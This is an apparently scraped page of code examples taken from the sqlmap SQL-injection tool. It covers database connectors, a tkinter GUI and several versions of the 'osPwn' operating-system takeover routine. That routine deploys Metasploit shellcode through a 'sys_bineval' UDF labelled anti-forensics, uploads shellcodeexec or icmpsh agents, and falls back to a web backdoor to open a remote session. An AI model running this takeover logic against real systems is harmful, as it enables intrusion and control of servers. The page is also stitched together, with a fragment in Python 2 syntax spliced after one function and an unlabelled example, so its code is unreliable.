示例#1
0
    def connect(self):
        self.initConnection()
        self.checkFileDb()

        try:
            self.connector = self.__sqlite.connect(database=self.db,
                                                   check_same_thread=False,
                                                   timeout=conf.timeout)

            cursor = self.connector.cursor()
            cursor.execute("SELECT * FROM sqlite_master")
            cursor.close()

        except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError):
            warnMsg = "unable to connect using SQLite 3 library, trying with SQLite 2"
            logger.warn(warnMsg)

            try:
                try:
                    import sqlite
                except ImportError:
                    errMsg = "sqlmap requires 'python-sqlite' third-party library "
                    errMsg += "in order to directly connect to the database '%s'" % self.db
                    raise SqlmapMissingDependence(errMsg)

                self.__sqlite = sqlite
                self.connector = self.__sqlite.connect(database=self.db,
                                                       check_same_thread=False,
                                                       timeout=conf.timeout)
            except (self.__sqlite.DatabaseError,
                    self.__sqlite.OperationalError) as ex:
                raise SqlmapConnectionException(getSafeExString(ex))

        self.initCursor()
        self.printConnected()
示例#2
0
    def connect(self):
        if _sqlalchemy:
            self.initConnection()

            try:
                if not self.port and self.db:
                    if not os.path.exists(self.db):
                        raise SqlmapFilePathException(
                            "the provided database file '%s' does not exist" %
                            self.db)

                    _ = conf.direct.split("//", 1)
                    conf.direct = "%s////%s" % (_[0], os.path.abspath(self.db))

                if self.dialect:
                    conf.direct = conf.direct.replace(conf.dbms, self.dialect,
                                                      1)

                if self.dialect == "sqlite":
                    engine = _sqlalchemy.create_engine(
                        conf.direct, connect_args={"check_same_thread": False})
                elif self.dialect == "oracle":
                    engine = _sqlalchemy.create_engine(conf.direct)
                else:
                    engine = _sqlalchemy.create_engine(conf.direct,
                                                       connect_args={})

                self.connector = engine.connect()
            except (TypeError, ValueError):
                if "_get_server_version_info" in traceback.format_exc():
                    try:
                        import pymssql
                        if int(pymssql.__version__[0]) < 2:
                            raise SqlmapConnectionException(
                                "SQLAlchemy connection issue (obsolete version of pymssql ('%s') is causing problems)"
                                % pymssql.__version__)
                    except ImportError:
                        pass
                elif "invalid literal for int() with base 10: '0b" in traceback.format_exc(
                ):
                    raise SqlmapConnectionException(
                        "SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')"
                    )
                else:
                    pass
            except SqlmapFilePathException:
                raise
            except Exception as ex:
                raise SqlmapConnectionException(
                    "SQLAlchemy connection issue ('%s')" % getSafeExString(ex))

            self.printConnected()
        else:
            raise SqlmapMissingDependence("SQLAlchemy not available")
                        pass
                elif "invalid literal for int() with base 10: '0b" in traceback.format_exc(
                ):
                    raise SqlmapConnectionException(
                        "SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')"
                    )
                raise
            except SqlmapFilePathException:
                raise
            except Exception, msg:
                raise SqlmapConnectionException(
                    "SQLAlchemy connection issue ('%s')" % msg[0])

            self.printConnected()
        else:
            raise SqlmapMissingDependence("SQLAlchemy not available")

    def fetchall(self):
        try:
            retVal = []
            for row in self.cursor.fetchall():
                retVal.append(tuple(row))
            return retVal
        except _sqlalchemy.exc.ProgrammingError, msg:
            logger.log(
                logging.WARN if conf.dbmsHandler else logging.DEBUG,
                "(remote) %s" %
                msg.message if hasattr(msg, "message") else msg)
            return None

    def execute(self, query):
示例#4
0
def runGui(parser):
    try:
        from thirdparty.six.moves import tkinter as _tkinter
        from thirdparty.six.moves import tkinter_scrolledtext as _tkinter_scrolledtext
        from thirdparty.six.moves import tkinter_ttk as _tkinter_ttk
        from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox
    except ImportError as ex:
        raise SqlmapMissingDependence("missing dependence ('%s')" %
                                      getSafeExString(ex))

    # Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x
    class ConstrainedEntry(_tkinter.Entry):
        def __init__(self, master=None, **kwargs):
            self.var = _tkinter.StringVar()
            self.regex = kwargs["regex"]
            del kwargs["regex"]
            _tkinter.Entry.__init__(self,
                                    master,
                                    textvariable=self.var,
                                    **kwargs)
            self.old_value = ''
            self.var.trace('w', self.check)
            self.get, self.set = self.var.get, self.var.set

        def check(self, *args):
            if re.search(self.regex, self.get()):
                self.old_value = self.get()
            else:
                self.set(self.old_value)

    # Reference: https://code.activestate.com/recipes/580726-tkinter-notebook-that-fits-to-the-height-of-every-/
    class AutoresizableNotebook(_tkinter_ttk.Notebook):
        def __init__(self, master=None, **kw):
            _tkinter_ttk.Notebook.__init__(self, master, **kw)
            self.bind("<<NotebookTabChanged>>", self._on_tab_changed)

        def _on_tab_changed(self, event):
            event.widget.update_idletasks()

            tab = event.widget.nametowidget(event.widget.select())
            event.widget.configure(height=tab.winfo_reqheight())

    window = _tkinter.Tk()
    window.title(VERSION_STRING)

    # Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook
    style = _tkinter_ttk.Style()
    settings = {
        "TNotebook.Tab": {
            "configure": {
                "padding": [5, 1],
                "background": "#fdd57e"
            },
            "map": {
                "background": [("selected", "#C70039"), ("active", "#fc9292")],
                "foreground": [("selected", "#ffffff"), ("active", "#000000")]
            }
        }
    }
    style.theme_create("custom", parent="alt", settings=settings)
    style.theme_use("custom")

    # Reference: https://stackoverflow.com/a/10018670
    def center(window):
        window.update_idletasks()
        width = window.winfo_width()
        frm_width = window.winfo_rootx() - window.winfo_x()
        win_width = width + 2 * frm_width
        height = window.winfo_height()
        titlebar_height = window.winfo_rooty() - window.winfo_y()
        win_height = height + titlebar_height + frm_width
        x = window.winfo_screenwidth() // 2 - win_width // 2
        y = window.winfo_screenheight() // 2 - win_height // 2
        window.geometry('{}x{}+{}+{}'.format(width, height, x, y))
        window.deiconify()

    def onKeyPress(event):
        global line
        global queue

        if process:
            if event.char == '\b':
                line = line[:-1]
            else:
                line += event.char

    def onReturnPress(event):
        global line
        global queue

        if process:
            try:
                process.stdin.write(("%s\n" % line.strip()).encode())
                process.stdin.flush()
            except socket.error:
                line = ""
                event.widget.master.master.destroy()
                return "break"
            except:
                return

            event.widget.insert(_tkinter.END, "\n")

            return "break"

    def run():
        global alive
        global process
        global queue

        config = {}

        for key in window._widgets:
            dest, type = key
            widget = window._widgets[key]

            if hasattr(widget, "get") and not widget.get():
                value = None
            elif type == "string":
                value = widget.get()
            elif type == "float":
                value = float(widget.get())
            elif type == "int":
                value = int(widget.get())
            else:
                value = bool(widget.var.get())

            config[dest] = value

        for option in parser.option_list:
            config[option.dest] = defaults.get(option.dest, None)

        handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG,
                                              text=True)
        os.close(handle)

        saveConfig(config, configFile)

        def enqueue(stream, queue):
            global alive

            for line in iter(stream.readline, b''):
                queue.put(line)

            alive = False
            stream.close()

        alive = True

        process = subprocess.Popen([
            sys.executable or "python",
            os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile
        ],
                                   shell=False,
                                   stdout=subprocess.PIPE,
                                   stderr=subprocess.STDOUT,
                                   stdin=subprocess.PIPE,
                                   bufsize=1,
                                   close_fds=not IS_WIN)

        # Reference: https://stackoverflow.com/a/4896288
        queue = _queue.Queue()
        thread = threading.Thread(target=enqueue, args=(process.stdout, queue))
        thread.daemon = True
        thread.start()

        top = _tkinter.Toplevel()
        top.title("Console")

        # Reference: https://stackoverflow.com/a/13833338
        text = _tkinter_scrolledtext.ScrolledText(top, undo=True)
        text.bind("<Key>", onKeyPress)
        text.bind("<Return>", onReturnPress)
        text.pack()
        text.focus()

        center(top)

        while alive:
            line = ""
            try:
                # line = queue.get_nowait()
                line = queue.get(timeout=.1)
                text.insert(_tkinter.END, line)
            except _queue.Empty:
                text.see(_tkinter.END)
                text.update_idletasks()

    menubar = _tkinter.Menu(window)

    filemenu = _tkinter.Menu(menubar, tearoff=0)
    filemenu.add_command(label="Open", state=_tkinter.DISABLED)
    filemenu.add_command(label="Save", state=_tkinter.DISABLED)
    filemenu.add_separator()
    filemenu.add_command(label="Exit", command=window.quit)
    menubar.add_cascade(label="File", menu=filemenu)

    menubar.add_command(label="Run", command=run)

    helpmenu = _tkinter.Menu(menubar, tearoff=0)
    helpmenu.add_command(label="Official site",
                         command=lambda: webbrowser.open(SITE))
    helpmenu.add_command(label="Github pages",
                         command=lambda: webbrowser.open(GIT_PAGE))
    helpmenu.add_command(label="Wiki pages",
                         command=lambda: webbrowser.open(WIKI_PAGE))
    helpmenu.add_command(label="Report issue",
                         command=lambda: webbrowser.open(ISSUES_PAGE))
    helpmenu.add_separator()
    helpmenu.add_command(label="About",
                         command=lambda: _tkinter_messagebox.showinfo(
                             "About", "Copyright (c) 2006-2020\n\n    (%s)" %
                             DEV_EMAIL_ADDRESS))
    menubar.add_cascade(label="Help", menu=helpmenu)

    window.config(menu=menubar)
    window._widgets = {}

    notebook = AutoresizableNotebook(window)

    first = None
    frames = {}

    for group in parser.option_groups:
        frame = frames[group.title] = _tkinter.Frame(notebook,
                                                     width=200,
                                                     height=200)
        notebook.add(frames[group.title], text=group.title)

        _tkinter.Label(frame).grid(column=0, row=0, sticky=_tkinter.W)

        row = 1
        if group.get_description():
            _tkinter.Label(frame, text="%s:" % group.get_description()).grid(
                column=0, row=1, columnspan=3, sticky=_tkinter.W)
            _tkinter.Label(frame).grid(column=0, row=2, sticky=_tkinter.W)
            row += 2

        for option in group.option_list:
            _tkinter.Label(
                frame,
                text="%s " %
                parser.formatter._format_option_strings(option)).grid(
                    column=0, row=row, sticky=_tkinter.W)

            if option.type == "string":
                widget = _tkinter.Entry(frame)
            elif option.type == "float":
                widget = ConstrainedEntry(frame, regex=r"\A\d*\.?\d*\Z")
            elif option.type == "int":
                widget = ConstrainedEntry(frame, regex=r"\A\d*\Z")
            else:
                var = _tkinter.IntVar()
                widget = _tkinter.Checkbutton(frame, variable=var)
                widget.var = var

            first = first or widget
            widget.grid(column=1, row=row, sticky=_tkinter.W)

            window._widgets[(option.dest, option.type)] = widget

            default = defaults.get(option.dest)
            if default:
                if hasattr(widget, "insert"):
                    widget.insert(0, default)

            _tkinter.Label(frame,
                           text=" %s" % option.help).grid(column=2,
                                                          row=row,
                                                          sticky=_tkinter.W)

            row += 1

        _tkinter.Label(frame).grid(column=0, row=row, sticky=_tkinter.W)

    notebook.pack(expand=1, fill="both")
    notebook.enable_traversal()

    first.focus()

    window.mainloop()
示例#5
0
    def osPwn(self):
        goUdf = False
        fallbackToWeb = False
        setupSuccess = False

        self.checkDbmsOs()

        if Backend.isOs(OS.WINDOWS):
            msg = "how do you want to establish the tunnel?"
            msg += "\n[1] TCP: Metasploit Framework (default)"
            msg += "\n[2] ICMP: icmpsh - ICMP tunneling"
            valids = (1, 2)

            while True:
                tunnel = readInput(msg, default=1)

                if isinstance(tunnel, basestring) and tunnel.isdigit() and int(
                        tunnel) in valids:
                    tunnel = int(tunnel)
                    break

                elif isinstance(tunnel, int) and tunnel in valids:
                    break

                else:
                    warnMsg = "invalid value, valid values are 1 and 2"
                    logger.warn(warnMsg)
        else:
            tunnel = 1

            debugMsg = "the tunnel can be established only via TCP when "
            debugMsg += "the back-end DBMS is not Windows"
            logger.debug(debugMsg)

        if tunnel == 2:
            isAdmin = runningAsAdmin()

            if not isAdmin:
                errMsg = "you need to run sqlmap as an administrator "
                errMsg += "if you want to establish an out-of-band ICMP "
                errMsg += "tunnel because icmpsh uses raw sockets to "
                errMsg += "sniff and craft ICMP packets"
                raise SqlmapMissingPrivileges(errMsg)

            try:
                from impacket import ImpactDecoder
                from impacket import ImpactPacket
            except ImportError:
                errMsg = "sqlmap requires 'python-impacket' third-party library "
                errMsg += "in order to run icmpsh master. You can get it at "
                errMsg += "http://code.google.com/p/impacket/downloads/list"
                raise SqlmapMissingDependence(errMsg)

            sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all"

            if os.path.exists(sysIgnoreIcmp):
                fp = open(sysIgnoreIcmp, "wb")
                fp.write("1")
                fp.close()
            else:
                errMsg = "you need to disable ICMP replies by your machine "
                errMsg += "system-wide. For example run on Linux/Unix:\n"
                errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
                errMsg += "If you miss doing that, you will receive "
                errMsg += "information from the database server and it "
                errMsg += "is unlikely to receive commands sent from you"
                logger.error(errMsg)

            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                self.sysUdfs.pop("sys_bineval")

        self.getRemoteTempPath()

        if isStackingAvailable() or conf.direct:
            web = False

            self.initEnv(web=web)

            if tunnel == 1:
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    msg = "how do you want to execute the Metasploit shellcode "
                    msg += "on the back-end database underlying operating system?"
                    msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
                    msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)"

                    while True:
                        choice = readInput(msg, default=1)

                        if isinstance(choice, basestring) and choice.isdigit(
                        ) and int(choice) in (1, 2):
                            choice = int(choice)
                            break

                        elif isinstance(choice, int) and choice in (1, 2):
                            break

                        else:
                            warnMsg = "invalid value, valid values are 1 and 2"
                            logger.warn(warnMsg)

                    if choice == 1:
                        goUdf = True

                if goUdf:
                    exitfunc = "thread"
                    setupSuccess = True
                else:
                    exitfunc = "process"

                self.createMsfShellcode(exitfunc=exitfunc,
                                        format="raw",
                                        extra="BufferRegister=EAX",
                                        encode="x86/alpha_mixed")

                if not goUdf:
                    setupSuccess = self.uploadShellcodeexec(web=web)

                    if setupSuccess is not True:
                        if Backend.isDbms(DBMS.MYSQL):
                            fallbackToWeb = True
                        else:
                            msg = "unable to mount the operating system takeover"
                            raise SqlmapFilePathException(msg)

                if Backend.isOs(OS.WINDOWS) and Backend.isDbms(
                        DBMS.MYSQL) and conf.privEsc:
                    debugMsg = "by default MySQL on Windows runs as SYSTEM "
                    debugMsg += "user, no need to privilege escalate"
                    logger.debug(debugMsg)

            elif tunnel == 2:
                setupSuccess = self.uploadIcmpshSlave(web=web)

                if setupSuccess is not True:
                    if Backend.isDbms(DBMS.MYSQL):
                        fallbackToWeb = True
                    else:
                        msg = "unable to mount the operating system takeover"
                        raise SqlmapFilePathException(msg)

        if not setupSuccess and Backend.isDbms(
                DBMS.MYSQL) and not conf.direct and (not isStackingAvailable()
                                                     or fallbackToWeb):
            web = True

            if fallbackToWeb:
                infoMsg = "falling back to web backdoor to establish the tunnel"
            else:
                infoMsg = "going to use a web backdoor to establish the tunnel"
            logger.info(infoMsg)

            self.initEnv(web=web, forceInit=fallbackToWeb)

            if self.webBackdoorUrl:
                if not Backend.isOs(OS.WINDOWS) and conf.privEsc:
                    # Unset --priv-esc if the back-end DBMS underlying operating
                    # system is not Windows
                    conf.privEsc = False

                    warnMsg = "sqlmap does not implement any operating system "
                    warnMsg += "user privilege escalation technique when the "
                    warnMsg += "back-end DBMS underlying system is not Windows"
                    logger.warn(warnMsg)

                if tunnel == 1:
                    self.createMsfShellcode(exitfunc="process",
                                            format="raw",
                                            extra="BufferRegister=EAX",
                                            encode="x86/alpha_mixed")
                    setupSuccess = self.uploadShellcodeexec(web=web)

                    if setupSuccess is not True:
                        msg = "unable to mount the operating system takeover"
                        raise SqlmapFilePathException(msg)

                elif tunnel == 2:
                    setupSuccess = self.uploadIcmpshSlave(web=web)

                    if setupSuccess is not True:
                        msg = "unable to mount the operating system takeover"
                        raise SqlmapFilePathException(msg)

        if setupSuccess:
            if tunnel == 1:
                self.pwn(goUdf)
            elif tunnel == 2:
                self.icmpPwn()
        else:
            errMsg = "unable to prompt for an out-of-band session"
            raise SqlmapNotVulnerableException(errMsg)

        if not conf.cleanup:
            self.cleanup(web=web)
示例#6
0
文件: takeover.py 项目: zz110/sqlmap
    def osPwn(self):
        goUdf = False
        fallbackToWeb = False
        setupSuccess = False

        self.checkDbmsOs()

        if Backend.isOs(OS.WINDOWS):
            msg = "how do you want to establish the tunnel?"
            msg += "\n[1] TCP: Metasploit Framework (default)"
            msg += "\n[2] ICMP: icmpsh - ICMP tunneling"

            while True:
                tunnel = readInput(msg, default='1')

                if tunnel.isdigit() and int(tunnel) in (1, 2):
                    tunnel = int(tunnel)
                    break

                else:
                    warnMsg = "invalid value, valid values are '1' and '2'"
                    logger.warn(warnMsg)
        else:
            tunnel = 1

            debugMsg = "the tunnel can be established only via TCP when "
            debugMsg += "the back-end DBMS is not Windows"
            logger.debug(debugMsg)

        if tunnel == 2:
            isAdmin = runningAsAdmin()

            if not isAdmin:
                errMsg = "you need to run sqlmap as an administrator "
                errMsg += "if you want to establish an out-of-band ICMP "
                errMsg += "tunnel because icmpsh uses raw sockets to "
                errMsg += "sniff and craft ICMP packets"
                raise SqlmapMissingPrivileges(errMsg)

            try:
                __import__("impacket")
            except ImportError:
                errMsg = "sqlmap requires 'python-impacket' third-party library "
                errMsg += "in order to run icmpsh master. You can get it at "
                errMsg += "http://code.google.com/p/impacket/downloads/list"
                raise SqlmapMissingDependence(errMsg)

            filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all"

            if os.path.exists(filename):
                try:
                    with open(filename, "wb") as f:
                        f.write("1")
                except IOError, ex:
                    errMsg = "there has been a file opening/writing error "
                    errMsg += "for filename '%s' ('%s')" % (
                        filename, getSafeExString(ex))
                    raise SqlmapSystemException(errMsg)
            else:
                errMsg = "you need to disable ICMP replies by your machine "
                errMsg += "system-wide. For example run on Linux/Unix:\n"
                errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
                errMsg += "If you miss doing that, you will receive "
                errMsg += "information from the database server and it "
                errMsg += "is unlikely to receive commands sent from you"
                logger.error(errMsg)

            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                self.sysUdfs.pop("sys_bineval")
示例#7
0
文件: gui.py 项目: longj3418/sqlmap
def runGui(parser):
    try:
        import tkinter
        import tkinter.ttk
    except ImportError as ex:
        raise SqlmapMissingDependence("missing dependence ('%s')" %
                                      getSafeExString(ex))

    # Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x
    class ConstrainedEntry(tkinter.Entry):
        def __init__(self, master=None, **kwargs):
            self.var = tkinter.StringVar()
            self.regex = kwargs["regex"]
            del kwargs["regex"]
            tkinter.Entry.__init__(self,
                                   master,
                                   textvariable=self.var,
                                   **kwargs)
            self.old_value = ''
            self.var.trace('w', self.check)
            self.get, self.set = self.var.get, self.var.set

        def check(self, *args):
            if re.search(self.regex, self.get()):
                self.old_value = self.get()
            else:
                self.set(self.old_value)

    # Reference: https://code.activestate.com/recipes/580726-tkinter-notebook-that-fits-to-the-height-of-every-/
    class AutoresizableNotebook(tkinter.ttk.Notebook):
        def __init__(self, master=None, **kw):
            tkinter.ttk.Notebook.__init__(self, master, **kw)
            self.bind("<<NotebookTabChanged>>", self._on_tab_changed)

        def _on_tab_changed(self, event):
            event.widget.update_idletasks()

            tab = event.widget.nametowidget(event.widget.select())
            event.widget.configure(height=tab.winfo_reqheight())

    window = tkinter.Tk()
    window.title(VERSION_STRING)

    # Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook
    style = tkinter.ttk.Style()
    settings = {
        "TNotebook.Tab": {
            "configure": {
                "padding": [5, 1],
                "background": "#fdd57e"
            },
            "map": {
                "background": [("selected", "#C70039"), ("active", "#fc9292")],
                "foreground": [("selected", "#ffffff"), ("active", "#000000")]
            }
        }
    }
    style.theme_create("custom", parent="alt", settings=settings)
    style.theme_use("custom")

    def run():
        options = {}

        for key in window._widgets:
            dest, type = key
            widget = window._widgets[key]

            if hasattr(widget, "get") and not widget.get():
                value = None
            elif type == "string":
                value = widget.get()
            elif type == "float":
                value = float(widget.get())
            elif type == "int":
                value = int(widget.get())
            else:
                value = bool(widget.getint())

            options[dest] = value

        for option in parser.option_list:
            options[option.dest] = defaults.get(option.dest, None)

        parser._args = options
        window.destroy()

    menubar = tkinter.Menu(window)

    filemenu = tkinter.Menu(menubar, tearoff=0)
    filemenu.add_command(label="Open", state=tkinter.DISABLED)
    filemenu.add_command(label="Save", state=tkinter.DISABLED)
    filemenu.add_separator()
    filemenu.add_command(label="Exit", command=window.quit)
    menubar.add_cascade(label="File", menu=filemenu)

    menubar.add_command(label="Run", command=run)

    helpmenu = tkinter.Menu(menubar, tearoff=0)
    helpmenu.add_command(label="Official site",
                         command=lambda: webbrowser.open(SITE))
    helpmenu.add_command(label="Github pages",
                         command=lambda: webbrowser.open(GIT_PAGE))
    helpmenu.add_command(label="Wiki pages",
                         command=lambda: webbrowser.open(WIKI_PAGE))
    helpmenu.add_command(label="Report issue",
                         command=lambda: webbrowser.open(ISSUES_PAGE))
    helpmenu.add_separator()
    helpmenu.add_command(label="About",
                         command=lambda: _tkinter_messagebox.showinfo(
                             "About", "Copyright (c) 2006-2019\n\n    (%s)" %
                             DEV_EMAIL_ADDRESS))
    menubar.add_cascade(label="Help", menu=helpmenu)

    window.config(menu=menubar)
    window._widgets = {}

    notebook = AutoresizableNotebook(window)

    first = None
    frames = {}

    for group in parser.option_groups:
        frame = frames[group.title] = tkinter.Frame(notebook,
                                                    width=200,
                                                    height=200)
        notebook.add(frames[group.title], text=group.title)

        tkinter.Label(frame).grid(column=0, row=0, sticky=tkinter.W)

        row = 1
        if group.get_description():
            tkinter.Label(frame, text="%s:" % group.get_description()).grid(
                column=0, row=1, columnspan=3, sticky=tkinter.W)
            tkinter.Label(frame).grid(column=0, row=2, sticky=tkinter.W)
            row += 2

        for option in group.option_list:
            tkinter.Label(
                frame,
                text="%s " %
                parser.formatter._format_option_strings(option)).grid(
                    column=0, row=row, sticky=tkinter.W)

            if option.type == "string":
                widget = tkinter.Entry(frame)
            elif option.type == "float":
                widget = ConstrainedEntry(frame, regex=r"\A\d*\.?\d*\Z")
            elif option.type == "int":
                widget = ConstrainedEntry(frame, regex=r"\A\d*\Z")
            else:
                var = tkinter.IntVar()
                widget = tkinter.Checkbutton(frame, variable=var)
                widget.var = var

            first = first or widget
            widget.grid(column=1, row=row, sticky=tkinter.W)

            window._widgets[(option.dest, option.type)] = widget

            default = defaults.get(option.dest)
            if default:
                if hasattr(widget, "insert"):
                    widget.insert(0, default)

            tkinter.Label(frame,
                          text=" %s" % option.help).grid(column=2,
                                                         row=row,
                                                         sticky=tkinter.W)

            row += 1

        tkinter.Label(frame).grid(column=0, row=row, sticky=tkinter.W)

    notebook.pack(expand=1, fill="both")
    notebook.enable_traversal()

    first.focus()

    window.mainloop()
示例#8
0
    def osPwn(self):
        goUdf = False
        fallbackToWeb = False
        setupSuccess = False

        self.checkDbmsOs()

        if Backend.isOs(OS.WINDOWS):
            msg = "你想如何建立隧道??"
            msg += "\n[1] TCP: Metasploit Framework (default)"
            msg += "\n[2] ICMP: icmpsh - ICMP tunneling"

            while True:
                tunnel = readInput(msg, default='1')

                if tunnel.isdigit() and int(tunnel) in (1, 2):
                    tunnel = int(tunnel)
                    break

                else:
                    warnMsg = "无效值,有效值为'1'和'2'"
                    logger.warn(warnMsg)
        else:
            tunnel = 1

            debugMsg = "当后端DBMS不是Windows时,隧道只能通过TCP建立"
            logger.debug(debugMsg)

        if tunnel == 2:
            isAdmin = runningAsAdmin()

            if not isAdmin:
                errMsg = "如果要建立带外ICMP隧道,则需要以管理员身份运行sqlmap,因为icmpsh使用原始套接字来嗅探和制作ICMP数据包"
                raise SqlmapMissingPrivileges(errMsg)

            try:
                from impacket import ImpactDecoder
                from impacket import ImpactPacket
            except ImportError:
                errMsg = "sqlmap需要“python-impacket”第三方库才能运行icmpsh master。"
                errMsg += "您可以访问http://code.google.com/p/impacket/downloads/list"
                raise SqlmapMissingDependence(errMsg)

            sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all"

            if os.path.exists(sysIgnoreIcmp):
                fp = open(sysIgnoreIcmp, "wb")
                fp.write("1")
                fp.close()
            else:
                errMsg = "您需要在整个系统范围内禁用ICMP回复 "
                errMsg += "例如在Linux/Unix上运行:\n"
                errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
                errMsg += "如果您错过了这么做,您将收到来自数据库服务器的信息,而不会收到您发送的命令的回应。"
                logger.error(errMsg)

            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                self.sysUdfs.pop("sys_bineval")

        self.getRemoteTempPath()

        if isStackingAvailable() or conf.direct:
            web = False

            self.initEnv(web=web)

            if tunnel == 1:
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    msg = "您打算如何在底层操作系统的底层数据库上执行Metasploit shellcode?"
                    msg += "\n[1] 通过UDF 'sys_bineval' (内存方式,反取证,默认)"
                    msg += "\n[2] 通过shellcodeexec(文件系统方式,首选64位系统)"

                    while True:
                        choice = readInput(msg, default='1')

                        if choice.isdigit() and int(choice) in (1, 2):
                            choice = int(choice)
                            break

                        else:
                            warnMsg = "无效值,有效值为1和2"
                            logger.warn(warnMsg)

                    if choice == 1:
                        goUdf = True

                if goUdf:
                    exitfunc = "thread"
                    setupSuccess = True
                else:
                    exitfunc = "process"

                self.createMsfShellcode(exitfunc=exitfunc,
                                        format="raw",
                                        extra="BufferRegister=EAX",
                                        encode="x86/alpha_mixed")

                if not goUdf:
                    setupSuccess = self.uploadShellcodeexec(web=web)

                    if setupSuccess is not True:
                        if Backend.isDbms(DBMS.MYSQL):
                            fallbackToWeb = True
                        else:
                            msg = "无法挂载操作系统接管"
                            raise SqlmapFilePathException(msg)

                if Backend.isOs(OS.WINDOWS) and Backend.isDbms(
                        DBMS.MYSQL) and conf.privEsc:
                    debugMsg = "默认情况下,MySQL在Windows上运行为SYSTEM用户,不需要权限升级"
                    logger.debug(debugMsg)

            elif tunnel == 2:
                setupSuccess = self.uploadIcmpshSlave(web=web)

                if setupSuccess is not True:
                    if Backend.isDbms(DBMS.MYSQL):
                        fallbackToWeb = True
                    else:
                        msg = "无法挂载操作系统接管"
                        raise SqlmapFilePathException(msg)

        if not setupSuccess and Backend.isDbms(
                DBMS.MYSQL) and not conf.direct and (not isStackingAvailable()
                                                     or fallbackToWeb):
            web = True

            if fallbackToWeb:
                infoMsg = "falling back to web backdoor to establish the tunnel"
            else:
                infoMsg = "要使用web后门建立隧道"
            logger.info(infoMsg)

            self.initEnv(web=web, forceInit=fallbackToWeb)

            if self.webBackdoorUrl:
                if not Backend.isOs(OS.WINDOWS) and conf.privEsc:
                    #Unset --priv-esc如果后端DBMS底层操作系统不是Windows
                    conf.privEsc = False

                    warnMsg = "当后台DBMS底层系统不是Windows时,sqlmap不实现任何操作系统用户权限升级技术"
                    logger.warn(warnMsg)

                if tunnel == 1:
                    self.createMsfShellcode(exitfunc="process",
                                            format="raw",
                                            extra="BufferRegister=EAX",
                                            encode="x86/alpha_mixed")
                    setupSuccess = self.uploadShellcodeexec(web=web)

                    if setupSuccess is not True:
                        msg = "无法挂载操作系统接管"
                        raise SqlmapFilePathException(msg)

                elif tunnel == 2:
                    setupSuccess = self.uploadIcmpshSlave(web=web)

                    if setupSuccess is not True:
                        msg = "无法挂载操作系统接管"
                        raise SqlmapFilePathException(msg)

        if setupSuccess:
            if tunnel == 1:
                self.pwn(goUdf)
            elif tunnel == 2:
                self.icmpPwn()
        else:
            errMsg = "unable to prompt for an out-of-band session"
            raise SqlmapNotVulnerableException(errMsg)

        if not conf.cleanup:
            self.cleanup(web=web)